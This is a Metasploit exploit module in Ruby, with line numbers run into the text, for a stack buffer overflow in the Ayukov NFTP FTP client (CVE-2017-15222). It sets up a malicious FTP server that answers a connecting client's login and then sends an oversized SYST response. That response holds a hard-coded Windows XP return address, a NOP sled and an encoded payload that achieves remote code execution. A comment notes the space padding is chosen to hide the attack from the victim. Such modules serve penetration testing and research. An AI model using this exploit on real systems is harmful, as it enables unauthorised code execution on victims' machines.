Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP17Client 2.0 and earlier. By responding with a long string of data for the SYST request, it18is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote19code exeuction under the context of the user if successfully exploited.20},21'Author' => [22'Berk Cem Goksel', # Original exploit author23'Daniel Teixeira', # MSF module author24'sinn3r' # RCA, improved module reliability and user exp25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2017-15222'],29[ 'EDB', '43025' ],30],31'Payload' => {32'BadChars' => "\x00\x01\x0a\x10\x0d",33'StackAdjustment' => -350034},35'Platform' => 'win',36'Targets' => [37[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.551238],39'Privileged' => false,40'DefaultOptions' => {41'SRVHOST' => '0.0.0.0',42},43'DisclosureDate' => '2017-10-21',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),56]57)58end5960def exploit61srv_ip_for_client = datastore['SRVHOST']62if srv_ip_for_client == '0.0.0.0'63if datastore['LHOST']64srv_ip_for_client = datastore['LHOST']65else66srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')67end68end6970srv_port = datastore['SRVPORT']7172print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")73super74end7576def on_client_connect(client)77return if ((p = regenerate_payload(client)) == nil)7879print_status("#{client.peerhost} - connected")8081# Let the client log in82client.get_once8384print_status("#{client.peerhost} - sending 331 OK")85user = "331 OK.\r\n"86client.put(user)8788client.get_once89print_status("#{client.peerhost} - sending 230 OK")90pass = "230 OK.\r\n"91client.put(pass)9293# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk94# is visible from the user's command prompt, which would make the buffer overflow attack too95# obvious.96sploit = "\x20" * 41169798sploit << [target.ret].pack('V')99sploit << make_nops(10)100sploit << payload.encoded101sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)102sploit << "\r\n"103104print_status("#{client.peerhost} - sending the malicious response")105client.put(sploit)106107client.get_once108pwd = "257\r\n"109client.put(pwd)110client.get_once111end112end113114115